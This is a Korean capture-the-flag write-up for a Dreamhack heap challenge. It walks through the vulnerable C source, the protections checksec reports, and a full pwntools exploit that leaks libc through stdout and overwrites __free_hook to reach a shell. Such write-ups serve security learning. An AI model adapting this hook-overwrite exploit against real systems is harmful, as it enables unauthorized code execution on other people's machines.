C언어 코드

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

C코드 설명

stdout 주소를 출력한다(libc에 있는)

read로 읽기 전 ptr의 크기와 read의 읽는 크기를 설정해준다

read로 ptr에 동적 할당의 데이터를 집어 넣을 수 있게 읽는다.

free 두번으로 에러가 뜬다

익스플로잇 설계

gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL

FULL RELRO이므로 ROPgadget은 못한다

코드에서 stdout의 주소를 노출하고 있다. 그 주소로 libc에 베이스를 구한다(stdout은 libc에 있다)베이스를 구한 뒤 그 베이스의 주소로 __free_hook 의 주소를 구한다. Size: 뒤에는 rread의 크기를 지정해주고 있으므로 충분하게 설정해준 뒤 *(long *)*ptr = *(ptr+1); 이 코드는 위에 read(0, ptr, size); 를 통해 접근할 수 있다. ptr에 값을 __free_hook 의 주소를 넣어주게 되면 저 코드 (long *)*ptr__free_hook 을 가르키게 된다. read에 free hook에 주소를 넣어 준 뒤에 우리가 원하는 값에 주소를 넣게 되면 그 값이 (ptr+1) 이 되게 된다. 여기에 one_gadget을 넣어줘도 되지만 pie가 적용되지 않았으므로 main에 있는 system 함수의 주소를 넣어주게 되면 익스플로잇이 된다.

익스플로잇

먼저 system 함수의 주소는 0x0400a11 이다.

sys_bin = 0x0400a11

그 뒤 stdout의 주소가 노출된 부분을 가져와 libc에 베이스를 구한뒤 __free_hook의 주소를 구한다.

p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
libc_free_hook = libc_base + libc.symbols['__free_hook']

read 크기 설정과 (long *)*ptr 의 주소와 (ptr+1) 의 주소를 우리가 마음대로 바꾼다

__free_hook 의 주소 및 main에 있는 system(”/bin/sh”); 의 주소로 바꿔준다

전체 익스플로잇 코드

from pwn import *
# context.log_level = 'debug'
# p = process('./hook')
p = remote('host3.dreamhack.games', 23807)
libc = ELF('./libc-2.23.so')
#main system 주소(pie가 안되어있기 때문에 가능함)
sys_bin = 0x0400a11
#stdout 주소 가져오기
p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)
# libc 베이스 및 __free_hook 주소 구하기
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(hex(libc_base))
# read 크기 설정
p.recvuntil("Size: ")
p.sendline("400")
# ptr 동적 할당에 값 넣어주기 -> free hook overwrite
p.recvuntil("Data: ")
p.sendline(p64(libc_free_hook) + p64(sys_bin))

p.interactive()